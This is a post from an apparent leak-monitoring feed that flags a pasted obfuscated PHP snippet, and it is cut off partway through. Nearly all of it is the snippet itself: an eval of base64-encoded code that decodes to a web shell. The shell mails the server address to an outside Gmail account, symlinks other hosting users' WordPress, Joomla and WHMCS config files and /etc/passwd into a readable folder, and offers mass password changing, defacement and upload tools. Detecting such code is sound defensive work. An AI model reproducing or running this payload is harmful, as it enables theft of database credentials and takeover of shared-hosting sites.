Quantcast
Channel: Obfuscated PHP Code – LeakedIn
Viewing all articles
Browse latest Browse all 222

Potential leak of data: Obfuscated PHP Code

$
0
0
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>': <?php eval("?>".base64_decode("PFNUWUxFPg0KdGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTA1NzAwO2NvbG9yOmxpbWU7Zm9udC13ZWlnaHQ6Ym9sZDtmb250LXNpemU6IDIwcHg7Zm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgDQoNCiMwMDAwMDA7fQ0KaW5wdXR7Rk9OVC1XRUlHSFQ6bm9ybWFsO2JhY2tncm91bmQtY29sb3I6ICMxMDU3MDA7Zm9udC1zaXplOiAxNXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6IGxpbWU7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogDQoNCjFweCBzb2xpZCAjNjY2NjY2O2hlaWdodDoyMH0NCmJvZHkgDQpmb250LWZhbWlseTogVGFob21hDQp9DQp0ciB7DQpCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsNCmNvbG9yOiAjRkZGOw0KfQ0KdGQgew0KQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7DQpjb2xvcjogI0ZGRjsNCn0NCi50YWJsZTEgew0KQk9SREVSOiAwcHggQmxhY2s7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiAjRkZGOw0KfQ0KLnRkMSB7DQpCT1JERVI6IDBweDsNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IDdwdCBWZXJkYW5hOw0KY29sb3I6IEdyZWVuOw0KfQ0KLnRyMSB7DQpCT1JERVI6IDBweDsNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCmNvbG9yOiAjRkZGOw0KfQ0KdGFibGUgew0KQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7DQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiAjRkZGOw0KfQ0KaW5wdXQgew0KYm9yZGVyCQkJOiBkYXNoZWQgMXB4Ow0KYm9yZGVyLWNvbG9yCQk6ICMzMzM7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KY29sb3I6IFJlZDsNCn0NCnNlbGVjdCB7DQpCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjREYwMDAwIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICNERjAwMDAgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLWNvbG9yOiAjRkZGOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiA4cHQgVmVyZGFuYTsNCmNvbG9yOiBSZWQ7DQp9DQpzdWJtaXQgew0KQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCndpZHRoOiAzMCU7DQpjb2xvcjogI0ZGRjsNCn0NCnRleHRhcmVhIHsNCmJvcmRlcgkJCTogZGFzaGVkIDFweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICM5OTk7DQp9DQpCT0RZIHsNCglTQ1JPTExCQVItRkFDRS1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1ISUdITElHSFQtY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1TSEFET1ctY29sb3I6ICNGRkY7IFNDUk9MTEJBUi0zRExJR0hULWNvbG9yOiANCg0KI0ZGRjsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLVRSQUNLLWNvbG9yOiAjRkZGOyBTQ1JPTExCQVItREFSS1NIQURPVy1jb2xvcjogI0ZGRg0KbWFyZ2luOiAxcHg7DQpjb2xvcjogUmVkOw0KYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7DQp9DQoubWFpbiB7DQptYXJnaW4JCQk6IC0yODdweCAwcHggMHB4IC00OTBweDsNCkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOw0KQk9SREVSLUNPTE9SOiAjMzMzMzMzOw0KfQ0KLnR0IHsNCmJhY2tncm91bmQtY29sb3I6IEJsYWNrOw0KfQ0KDQpBOmxpbmsgew0KCUNPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOnZpc2l0ZWQgew0KCUNPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCjwvU1RZTEU+DQoNCjw/cGhwDQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KJHVybD0kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQoNCm1haWwoJ2RyaWxvbnBhamF6aXRpaUBnbWFpbC5jb20nLCRfU0VSVkVSWydTRVJWRVJfQUREUiddLCR1cmwpOw0KDQokYmFzZV91cmwgPSAnaHR0cDovLycuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX05BTUUnXSk7DQoNCg0KDQojIy5odGFjY2Vzcw0KQG1rZGlyKCdwZWUnLDA3NzcpOw0KQHN5bWxpbmsoIi8iLCJwZWUvcm9vdCIpOw0KQGZvcGVuKCd0ZW1wLnR4dCcsJ3cnKTsNCiRodGFjY3NzID0gIk9wdGlvbnMgYWxsIA0KIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIA0KIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIA0KIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIA0KICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgDQogQWRkSGFuZGxlciB0eHQgLmh0bWwgDQogUmVxdWlyZSBOb25lIA0KIFNhdGlzZnkgQW55IjsNCiANCmZpbGVfcHV0X2NvbnRlbnRzKCJwZWUvLmh0YWNjZXNzIiwkaHRhY2Nzcyk7DQoNCmlmKGlzX3JlYWRhYmxlKCIvdmFyL25hbWVkIikpew0KJGxpc3QgPSBzY2FuZGlyKCIvdmFyL25hbWVkIik7DQokY3VycmVudF9kaXIgPSBwb3NpeF9nZXRjd2QoKTsNCiRkaXIgPSBleHBsb2RlKCIvIiwkY3VycmVudF9kaXIpOw0KZm9yZWFjaCgkbGlzdCBhcyAkZG9tYWluKXsNCmlmKHN0cnBvcygkZG9tYWluLCIuZGIiKSkNCnsNCgkkZG9tYWluID0gc3RyX3JlcGxhY2UoJy5kYicsJycsJGRvbWFpbik7DQoJJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOw0KCQ0KZXJyb3JfcmVwb3J0aW5nKDApOw0KDQokY3VycmVudF9kaXIgPSBwb3NpeF9nZXRjd2QoKTsNCiRkaXIgPSBleHBsb2RlKCIvIiwkY3VycmVudF9kaXIpOw0KDQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy93cC1jb25maWcucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1Xb3JkUHJlc3MudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9ibG9nL3dwLWNvbmZpZy5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVdvcmRQcmVzcy50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL3dwL3dwLWNvbmZpZy5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVdvcmRQcmVzcy50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL3NpdGUvd3AtY29uZmlnLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictV29yZFByZXNzLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvY29uZmlnLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictUGhwQkIudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9pbmNsdWRlcy9jb25maWcucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy12QnVsbGV0aW4udHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9jb25maWd1cmF0aW9uLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictSm9vbWxhLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvd2ViL2NvbmZpZ3VyYXRpb24ucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1Kb29tbGEudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLUpvb21sYS50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLUpvb21sYS50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL2NvbmZfZ2xvYmFsLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictSVBCLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvaW5jL2NvbmZpZy5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLU15QkIudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9TZXR0aW5ncy5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVNNRi50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1EcnVwYWwudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9lMTA3X2NvbmZpZy5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLWUxMDcudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9kYXRhcy9jb25maWcucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1TZWRpdGlvLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictb3NDb21tZXJjZS50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL3N1cHBvcnRlcy9jb25maWd1cmF0aW9uLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9kb21haW4vY29uZmlndXJhdGlvbi5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL2NsaWVudGFyZWEvY29uZmlndXJhdGlvbi5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvZG9tYWlucy9jb25maWd1cmF0aW9uLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictV0hNQ1MudHh0Jyk7DQoNCiRsaW5rID0gJHBhZ2VVUkwuJ3BlZS8nLiRvd25lclsnbmFtZSddLictV29yZFByZXNzLnR4dCc7DQoNCmlmKGNoa19oZWFkZXIoJGxpbmspKQ0KCXsNCgkJJHN0ciA9ICc8dHI+PHRkPicuJGRvbWFpbi4nPC90ZD48dGQ+Jy4kb3duZXJbJ25hbWUnXS4nPC90ZD48dGQ+L1dvcmRQcmVzczwvdGQ+Jy5DaHIoMTApOw0KCQlmaWxlX3B1dF9jb250ZW50cygidGVtcC50eHQiLCRzdHIsRklMRV9BUFBFTkQpOw0KCX0NCg0KDQoNCg0KfQ0KfQ0KfQ0KDQokZXRjID0gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvcGFzc3dkIik7DQokZXRjeiA9IGV4cGxvZGUoIlxuIiwkZXRjKTsNCg0KZm9yZWFjaCgkZXRjeiBhcyAkZXR6KXsNCiRldGNjID0gZXhwbG9kZSgiOiIsJGV0eik7DQplcnJvcl9yZXBvcnRpbmcoMCk7DQoNCiRjdXJyZW50X2RpciA9IHBvc2l4X2dldGN3ZCgpOw0KJGRpciA9IGV4cGxvZGUoIi8iLCRjdXJyZW50X2Rpcik7DQoNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvd3AtY29uZmlnLnBocCcsJ3BlZS8nLiRldGNjWzBdLictV29yZFByZXNzLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9ibG9nL3dwLWNvbmZpZy5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVdvcmRQcmVzcy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvd3Avd3AtY29uZmlnLnBocCcsJ3BlZS8nLiRldGNjWzBdLictV29yZFByZXNzLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9zaXRlL3dwLWNvbmZpZy5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVdvcmRQcmVzcy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvY29uZmlnLnBocCcsJ3BlZS8nLiRldGNjWzBdLictUGhwQkIudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2luY2x1ZGVzL2NvbmZpZy5waHAnLCdwZWUvJy4kZXRjY1swXS4nLXZCdWxsZXRpbi50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvY29uZmlndXJhdGlvbi5waHAnLCdwZWUvJy4kZXRjY1swXS4nLUpvb21sYS50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvd2ViL2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1Kb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJ3BlZS8nLiRldGNjWzBdLictSm9vbWxhLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1Kb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NvbmZfZ2xvYmFsLnBocCcsJ3BlZS8nLiRldGNjWzBdLictSVBCLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9pbmMvY29uZmlnLnBocCcsJ3BlZS8nLiRldGNjWzBdLictTXlCQi50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvU2V0dGluZ3MucGhwJywncGVlLycuJGV0Y2NbMF0uJy1TTUYudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywncGVlLycuJGV0Y2NbMF0uJy1EcnVwYWwudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2UxMDdfY29uZmlnLnBocCcsJ3BlZS8nLiRldGNjWzBdLictZTEwNy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvZGF0YXMvY29uZmlnLnBocCcsJ3BlZS8nLiRldGNjWzBdLictU2VkaXRpby50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJ3BlZS8nLiRldGNjWzBdLictb3NDb21tZXJjZS50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvc3VwcG9ydGVzL2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9kb21haW4vY29uZmlndXJhdGlvbi5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJ3BlZS8nLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9wb3J0YWwvY29uZmlndXJhdGlvbi5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJ3BlZS8nLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NsaWVudGFyZWEvY29uZmlndXJhdGlvbi5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9kb21haW5zL2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsNCmlmKGNoa19oZWFkZXIoJGxpbmspKQ0KCXsNCgkJJHN0ciA9ICc8dHI+PHRkPjwvdGQ+PHRkPicuJGV0Y2NbMF0uJzwvdGQ+PHRkPi9Xb3JkUHJlc3M8L3RkPicuQ2hyKDEwKTsNCgkJZmlsZV9wdXRfY29udGVudHMoInRlbXAudHh0Iiwkc3RyLEZJTEVfQVBQRU5EKTsNCgl9DQp9DQoNCg0KDQoNCmZ1bmN0aW9uIGNoa19oZWFkZXIoJGxpbmspew0KJHBlZSA9IGdldF9oZWFkZXJzKCRsaW5rLDEpOw0KaWYoc3RycG9zKCRwZWVbMF0sIjIwMCIpKXsNCnJldHVybiB0cnVlOw0KfWVsc2V7IHJldHVybiBmYWxzZTsgfQ0KfQ0KDQpmdW5jdGlvbiBGaW5kKCRzdHIsJHN0YXJ0LCRlbmQpew0KJGxlbiA9IHN0cmxlbigkc3RyKTsNCiRzdGFydF9wb3MgPSAoc3RycG9zKCRzdHIsJHN0YXJ0KSArIHN0cmxlbigkc3RhcnQpKTsNCiRzdHIgPSBzdWJzdHIoJHN0ciwkc3RhcnRfcG9zKTsNCiRlbmRfcG9zID0gc3RycG9zKCRzdHIsJGVuZCk7DQokc3RyID0gc3Vic3RyKCRzdHIsMCwkZW5kX3Bvcyk7DQpyZXR1cm4gJHN0cjsgICAgDQp9DQoNCiRwYWdlVVJMID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KJHUgPSBleHBsb2RlKCIvIiwkcGFnZVVSTCApOw0KJHBhZ2VVUkwgPXN0cl9yZXBsYWNlKCR1W2NvdW50KCR1KS0xXSwiIiwkcGFnZVVSTCApOw0KDQoNCiMjIyMjIyMNCmZ1bmN0aW9uIGNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXIsJGNtcykNCnsNCgkNCgkkbGluayA9ICRsaW5rLictJy4kY21zLicudHh0JzsNCglpZihjaGtfaGVhZGVyKCRsaW5rKSkNCgl7DQoJCSR1cmwgPSAnaHR0cDovLycuJGRvbWFpbjsNCgkJJHN0ciA9ICc8dHI+PHRkPiA8YSBocmVmPScuJHVybC4nPicuJGRvbWFpbi4nPC9hPjwvdGQ+PHRkPicuJG93bmVyLic8L3RkPjx0ZD48YSANCg0KaHJlZj0nLiRsaW5rLic+Jy4kY21zLic8L3RkPicuQ2hyKDEwKTsNCgkJZmlsZV9wdXRfY29udGVudHMoInBlZS50bXAiLCRzdHIsRklMRV9BUFBFTkQpOw0KCQllY2hvICRzdHI7DQoJCQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ3VybFBhZ2UoJHVybCwkcG9zdCA9IG51bGwsJGhlYWQgPSB0cnVlKSB7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgJGhlYWQpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCB0cnVlKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pOw0KDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpOw0KDQpJZiAoJHBvc3QgIT0gTlVMTCl7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJHBvc3QpOw0KfQ0KJHVybFBhZ2UgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KaWYoY3VybF9lcnJubygkY2gpKXsNCmVjaG8gY3VybF9lcnJvcigkY2gpOw0KfQ0KDQpjdXJsX2Nsb3NlKCRjaCk7DQpyZXR1cm4oJHVybFBhZ2UpOw0KfQ0KDQoNCg0KZnVuY3Rpb24gbGlzdGFsbCgkZmlsZSwkc3RyKXsNCmlmKGZpbGVfZXhpc3RzKCRmaWxlKSl7DQokZG8gPSBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7DQppZighc3RycG9zKCRkbywkc3RyKSl7DQpmaWxlX3B1dF9jb250ZW50cygkZmlsZSwkc3RyLEZJTEVfQVBQRU5EKTsNCn0NCn1lbHNlew0KZmlsZV9wdXRfY29udGVudHMoJGZpbGUsJHN0cixGSUxFX0FQUEVORCk7DQp9DQp9DQoNCg0KDQplY2hvICI8Y2VudGVyPg0KDQo8aW1nIHNyYz0naHR0cHM6Ly9mYmNkbi1zcGhvdG9zLWctYS5ha2FtYWloZC5uZXQvaHBob3Rvcy1hay1mcmMzL3QzMS4wLTgvYzAuMTY4Ljg1MS4zMTUvcDg1MXgzMTUvODU3MDgzXzM2NTIwMzk2NjkyODY4N18xNTY4OTE0OTQyX28uanBnJz48YnI+DQotIFsgPGEgaHJlZj0nP2RvPWNtc19kZXRlY3QnPkNtcyBEZXRlY3RvcjwvYT4gXSAtIFsgPGEgaHJlZj0nP2RvPXBhc3NfY2hhbmdlJz5NYXNzIFBhc3N3b3JkIENoYW5nZXI8L2E+IF0gLSBbIDxhIA0KDQpocmVmPSc/ZG89d3BfZGVmJz5Xb3JkcHJlc3MgTWFzcyBEZWZhY2VyPC9hPiBdIC0gWyA8YSBocmVmPSc/ZG89dXBsb2FkZXInPlVwbG9hZGVyPC9hPiBdIC0gIDxhIGhyZWY9Jz9kbz13cF91cCc+PC9hPiA8YnI+PGJyPjx